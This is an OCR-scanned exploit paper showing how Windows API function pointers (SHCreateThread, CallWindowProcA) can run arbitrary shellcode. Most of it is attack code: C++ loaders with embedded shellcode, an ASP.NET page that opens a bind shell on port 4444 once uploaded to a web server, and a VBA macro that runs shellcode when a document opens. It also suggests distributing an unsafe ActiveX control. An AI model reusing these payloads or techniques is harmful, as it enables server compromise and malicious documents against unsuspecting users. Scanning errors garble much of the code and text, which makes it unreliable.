MS API function pointers hijacking

From: shinnai
Mail: shinnai[at]autistici[dot]org
Site: http://shinnai.altervista.org

Special thanks to strOke for his advices in C++ pro gramming

In this paper I'll demonstrate how to use some API functions pointers to execute
arbitrary code on a user’s pc. This is not a bug, b ut | consider it as a simply
security flaw.

I'll use, in this sample, "SHCreateThread" function from shlwapi.dll for writing

a page in ASP.NET, upload it to a web server and ob tain so a bind shell.
Naturally, you can use it as you want because every programming language that
uses direct calls to API functions could be used to do something like that.

Put me in coach, I'm ready to play

First of all some technical details: shiwapi.dll is a library which contains
functions for UNC and URL paths, registry entries, and colour settings. Between
functions you'll find "SHCreateThread", thisis a r eport of this function from
http://msdn2.microsoft.com/En-US/library/bb759869.a spx:

Syntax:

BOOL SHCreateThread(
LPTHREAD_START_ROUTINE pfnThreadProc,
VOID * pDat a,

DWORD dwFl ags,
LPTHREAD_START_ROUTINE pf nCal | back

);

Parameters

pfnThreadProc
[in] A pointer to an application-defined function o f the
LPTHREAD_START_ROUTIN#gpe. If a new thread was successfully created,
this application-defined function is called in the context of that thread.
SHCreateThread does not wait for the function pointed to by this parameter
to complete before returning to its caller. The app lication-defined
function's return value is the exit code of the thr ead.

pDat a
[in] A pointer to an application-defined data struc ture that contains
initialization data. It is passed to the function p ointed to by
pf nThr eadPr oc and, optionally, pf nCal | back.

dwFl ags
[in] The flags that control the behavior of the fun ction. One or more of
the CTFconstants.

pf nCal | back
[in] A pointer to an optional application-defined f unction of the
LPTHREAD_START_ROUTIN#gpe. This function is called in the context of th
created thread before the function pointed to by pf nThr eadPr oc is called.
It will also receive pDat a as its argument. SHCreateThread will wait for
the function pointed to by pf nCal | back to return before returning to its
caller. The return value of the function pointed to by pfnCall back is
ignored.

Return Value
Returns TRUE if the thread is successfully created or FALSE otherwise.
Remarks



The function pointed to by
form.
DWORD WINAPI ThreadProc(LPVOID pData)

{
=

The function name is arbitrary. The pDat a parameter points to an application-
defined data structure with initialization informat ion.

pf nThr eadPr oc and pf nCal | back must take the following

ou understand what | mean is
le bit of C++ coding:

Ok, let's start. | think that the best way to let y
start coding, due to my horrible english, so a litt

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

typedef INT (WINAPI *ProcAdd) ();

/lexecute calc.exe
char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x eb\x03\x59\xeb"
"\Xx05\xe8\xf8\xfAXAXFAx4f\x49\x49\x49\x4 9\x49\x 49\x51\x5a\x56"
"\X54\x58\x36\x33\x30\x56\x58\x34\x4 1\x30\x4 2\x36\x 48\x48\x30\x42"
"\X33\x30\x42\x43\x56\x58\x32\x4 2\x44\x4 2\x48\x34\x 41\x32\x41\x44"
"\X30\x41\x44\x54\x4 2\x44\x51\x4 2\x30\x41\x44\x41\x 56\x58\x34\x5a"
"\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34\x 42\x50\x42\x30"
"\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47\x 45\x30\x4a\x47"
"\x41\x30\x4\x4e\x4b\x48\x4f\x54\x4a\x4 1\x4b\x38\x 4f\x55\x42\x52"

"\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48\x 41\x50\x50\x4e"
"\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x4 2\x4c\x 46\x47\x47\x50"
"\x41\x4c\x4c\x4c\x4d\x50\x4 1\x50\x44\x4c\x4b\x4e\x 46\x4f\x4b\x43"

"\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58\x 4f\x45\x46\x42"

"\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44\x 4b\x48\x4f\x35"

"\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38\x 41\x50\x4b\x4e"
"\x49\x38\x4e\x45\x46\x32\x46\x50\x4 3\x4c\x4 1\x33\x 42\x4c\x46\x46"
"\x4b\x48\x42\x34\x4 2\x33\x45\x38\x4 2\x4c\x4a\x4 7\x 4e\x30\x4b\x38"
"\x42\x34\x4e\x50\x4b\x58\x42\x4 7\x4e\x41\x4d\x4a\x 4b\x58\x4a\x36"
"\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x4 2\x48\x4 2\x4b\x 42\x30\x42\x50"
"\x42\x30\x4b\x38\x4a\x56\x4e\x4 3\x4\x55\x4 1\x33\x 48\x4f\x42\x46"

"\x48\x35\x49\x38\x4a\x4f\x43\x58\x4 2\x4c\x4b\x37\x 42\x55\x4a\x36"
"\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59\x 50\x4f\x4c\x38"

"\X50\x50\x4 7\x55\x4\x4f\x47\x4e\x43\x56\x4 1\x56\x 4e\x46\x43\x56"
"\X50\x32\x45\x46\x4a\x37\x45\x36\x4 2\x50\x5a\x90\x 90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90";
int main (void)

HMODULE hMod;
ProcAdd P_Address;

hMod = LoadLibrary ("shiwapi.dll");

if ("Mod != NULL)

P_Address =(ProcAdd) GetProcAddress (hMod,

typedef int (__stdcall * pICFUNC)(char *, char *,

pICFUNC MyFunction;
MyFunction = pICFUNC(P_Address);

int MyReturn = MyFunction("write", "anything”, "y

}

else
printf ("There was something wrong...\n");
return O;

"SHCreateThread");

char *, char *);

ou want", shellcode);



As you can see, | pass to function the optional
shellcode and what happened? The shellcode will be
we pass to the pointer a valid sequence of commands .
You can obtain same results using user32.dll, look at this:

pf nCal | back, putting in it my
executed due to the fact that

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

typedef INT (WINAPI *ProcAdd) ();

/lexecute calc.exe
char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x eb\x03\x59\xeb"
"\x05\xe8\xf8\xfAXAXFAx4f\x49\x49\x49\x49\x49\x 49\x51\x5a\x56"
"\X54\x58\x36\x33\x30\x56\x58\x34\x4 1\x30\x4 2\x36\x 48\x48\x30\x42"
"\X33\x30\x42\x43\x56\x58\x32\x4 2\x44\x4 2\x48\x34\x 41\x32\x41\x44"
"\X30\x41\x44\x54\x4 2\x44\x51\x4 2\x30\x41\x44\x41\x 56\x58\x34\x5a"
"\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34\x 42\x50\x42\x30"
"\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47\x 45\x30\x4a\x47"
"\x41\x30\x4\x4e\x4b\x48\x4f\x54\x4a\x4 1\x4b\x38\x 4f\x55\x42\x52"

"\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48\x 41\x50\x50\x4e"
"\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x4 2\x4c\x 46\x47\x47\x50"
"\x41\x4c\x4c\x4c\x4d\x50\x4 1\x50\x44\x4c\x4b\x4e\x 46\x4f\x4b\x43"

"\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58\x 4f\x45\x46\x42"

"\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44\x 4b\x48\x4f\x35"

"\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38\x 41\x50\x4b\x4e"
"\x49\x38\x4e\x45\x46\x32\x46\x50\x4 3\x4c\x4 1\x33\x 42\x4c\x46\x46"
"\x4b\x48\x42\x34\x42\x33\x45\x38\x4 2\x4c\x4a\x4 7\x 4e\x30\x4b\x38"
"\x42\x34\x4e\x50\x4b\x58\x42\x4 7\x4e\x41\x4d\x4a\x 4b\x58\x4a\x36"
"\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x4 2\x48\x4 2\x4b\x 42\x30\x42\x50"
"\x42\x30\x4b\x38\x4a\x56\x4e\x4 3\x4\x55\x4 1\x33\x 48\x4f\x42\x46"

"\x48\x35\x49\x38\x4a\x4f\x43\x58\x4 2\x4c\x4b\x37\x 42\x55\x4a\x36"
"\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59\x 50\x4f\x4c\x38"

"\X50\x50\x4 7\x55\x4\x4f\x4 7\x4e\x43\x56\x4 1\x56\x 4e\x46\x43\x56"
"\X50\x32\x45\x46\x4a\x37\x45\x36\x4 2\x50\x5a\x90\x 90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90";
int main (void)

HMODULE hMod;
ProcAdd P_Address;

hMod = LoadLibrary ("USER32.DLL");

if ("Mod != NULL)
{

P_Address = (ProcAdd) GetProcAddress (hMod, "CallWindowProcA";
typedef int (__stdcall * pICFUNC)(long, char *, | ong, long, long);
pICFUNC MyFunction;

MyFunction = pICFUNC(P_Address);
int MyReturn = MyFunction(2088992947, shellcode, 0,0, 0);
//Win XP Pro.: 2088992947 == 0x7C8380B3 call [EBP +C] from kernel32.dll
/IServer 2003: 2011459891 == 0x77E47133 call [EBP +C] from kernel32.dll
}
else
printf ("There was something wrong...\n");
return O;
}
Very similar code, the difference is just in this | ine:

int MyReturn = MyFunction(2088992947, shellcode, 0, 0, 0);



If you change the pointer value from
call [EBP+C] from kernel32.dll) to
then run your code, you'll see registers content as

EAX 7FFDEOQO

ECX 40000000

EDX 7C91EB94 ntdll.KiFastSystemCallRet
EBX 00000000

ESP 0012FE28

EBP 0012FE50

ESI 41414141

EDI 0012FE8C

EIP 41414141

and stack:

EBP ==> >|0012FEBS8

EBP+4 >|7E398816 RETURN to USER32_1.7E398816 fr
EBP+8 >|41414141

EBP+C >|00420040 ASCII "BBBBBBBBBBBBBBBBBBBBBBB

| suppose it's simple to understand that passing to
execute the code.

Funny thing is that these pointers are always unche
language that did direct call to a dll. See this on

Partial Class _Default

Inherits System.Web.Ul.Page

<Runtime.InteropServices.Dllimport("shiwapi.dll
SHCreateThread(ByVal pfnThreadProc As Long, ByVal p
String, ByVal pfnCallback As Long) As Long

End Function
Protected Sub Page_PreLoad(ByVal sender As Obje
Handles Me.PreLoad

2088992947 (decimal value of 0x7C8380B3
1094795585 (decimal value of 41414141) and

om USER32_1.7E39870C

BBBBBBBBBBBBBBBBBBBB"
EIP a call [EBP+C] will

cked, so you can use every
e:

")> Shared Function
Data As String, ByVal dwFlags As

ct, ByVal e As System.EventArgs)

Dim i As Integer, nop As String, shellcode As String
Fori=1To 12
nop = nop & Chr(144)
Next i
'bind shell on port 4444
shellcode = nop & "é CYélegyyyI7IINNIimnnQZzjBXPOB1ABKBAR2BB" &

"2AA0AAXBP8BBuU9yKLaz8kPMh
"EWLNKAIdEQhFaJOIKOOFxIKq
"PNyNLK4kpRTc78AjjDMc1krh
"azK3VNK6IrkLKSo5Lwq8kGsD
"kg34pLKwOtLnkdOGILmnkAPc
"CCVRHwWCdrQxgqgPsp2qO1DKOJ
"esVLAXmdHeRru2Js21oJp3Xx
"cqSccaS3cKOZpsVQx7aALPfS
"fAz20rg3eYo8PphoTnMdn8i2
"yw7KO9FRprtF41EKOhPNsCXk
"j1tE61xbC2MoyzEqz0P3iFlj
"nCréMinsrTlocLMrZtxLklkn
"k2wbrca3a0Q0jS1gAF1Ru2gk
"0i0fW90XPLKAGKLICO42DKOh
"ViojpB" & nop
SHCreateThread(1094795585, "none", shellcod
End Sub
End Class

It's a code that you can save into an aspx.vb page
an aspx page in this way:

<%@ Page Language="VB" AutoEventWireup="false" Code
Inherits="_Default" %>

hiiKOKOYoSPNk2LDd5tnk0" & _
OGP31ZKaYnkP4NkFaxnP1i" & _
kldwKOTA4ExRUiunksoutV" & _
INkK92L5twleliSVQIKe4N" & _
8SnphNnbnVn8IRpkOzvrFa" & _
pu8xKhmllukFOKOyFSooy8" & _
Yc99eLmrwkOn6PSRsQCpS3" & _
cllIZAZ5QxMtgjOpKwf7yoK" &
WKONB6QCAE90JpgxJEQYmMVC" & _
W(qio6SIv7kO8VgEKOHP56p" & _
k9jGsZQToym201YP8sMzY" & _
K58PrkNLsdVKOCE2dyozv3" & _
ONOphNMzyFeJnrsioXVrdi" & _

Vv2KONOgx3NjxIrCCaCKOH" & _

e, 1128481603)

that you can easily call from

File="mypage.aspx.vb"



Of course you need a web server that allows you to upload these page but, once

you'll find it, be sure you’ll obtain a bind shell with ASPNET user rights.

I try it on IS 6, Microsoft .NET Framework:2.0.507 27.1378; Version of
ASP.NET:2.0.50727.1378 (don’t worry, it's mine).

Naturally, another vector is VBA macros. Most user set protection against macro
execution on medium, so you'll easily write a code like this:

Private Declare Function CallWindowProc Lib "user32 " Alias "CallwindowProcA" (ByVal
IpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Ms g As Any, ByVal wParam As Any, ByVal

IParam As Any) As Long

Private Sub Document_Open()
On Error GoTo hell

Fori=1To12
nop = nop & Chr(144)

Next i

shellcode = nop & "é LYéeayyyolIllQZVTX630VX4A0B6HHOB30BCVX2BDBH4A2AD0" &
"ADTBDQBOADAVX4Z8BDJOMNOJ NF4BPBOBPKSEDNCK8NGEOJGAOONKH" &
"OTJAK8BOUBRAOKNITKHF3KHAP PNACBLIYNJFHBLFGGPALLLMPAPDLK" & _
"NFOKCF5FRFOE7ENKXOEFBAPK NHFKHNOKDKHO5NAAOKNK8NQKBAPKN" & _
"IBNEF2FPCLA3BLFFKHB4B3ES8 BLIJGNOK8B4NPKXBGNAMJIKXJI6JOKNI" & _
"PKHBHBKBOBPBOK8JVNCOUA3H OBFH5I8JOCXBLK7BUJ6BOLXFPO5J6" & _
"JYPOL8PPGUOOGNCVAVNFCVP2 EFJ7E6BPZ" & nop

TextBox1.Text = shellcode

CallwWindowProc 2089148898, 1, TextBox1.Text , ByVal 0&, ByVal 0&
'2089148898 = 0x7C85E1E2 CALL [EBP+1C] from kernel32.dll
Exit Sub
hell:
MsgBox "There was something wrong..." & vbCrLf &
"Error number: " & Err.Number & vbCrLf &
"Error description: " & Err.Description
End Sub

Or you can write your own ActiveX and mark it as:

RegKey Safe for Script: False

RegKey Safe for Init: False

Implements 10bjectSafety: True

IDisp Safe: Safe for untrusted: caller, data
IPStorage Safe: Safe for untrusted: caller, data

and having fun distributing it (I know, | know, to use an ActiveX from remote
location you need a digital signature but once you run it local...)
That's all folks, hope you'll enjoy this little pap er to do research and

auditing API functions as well.

Bye, shinnai



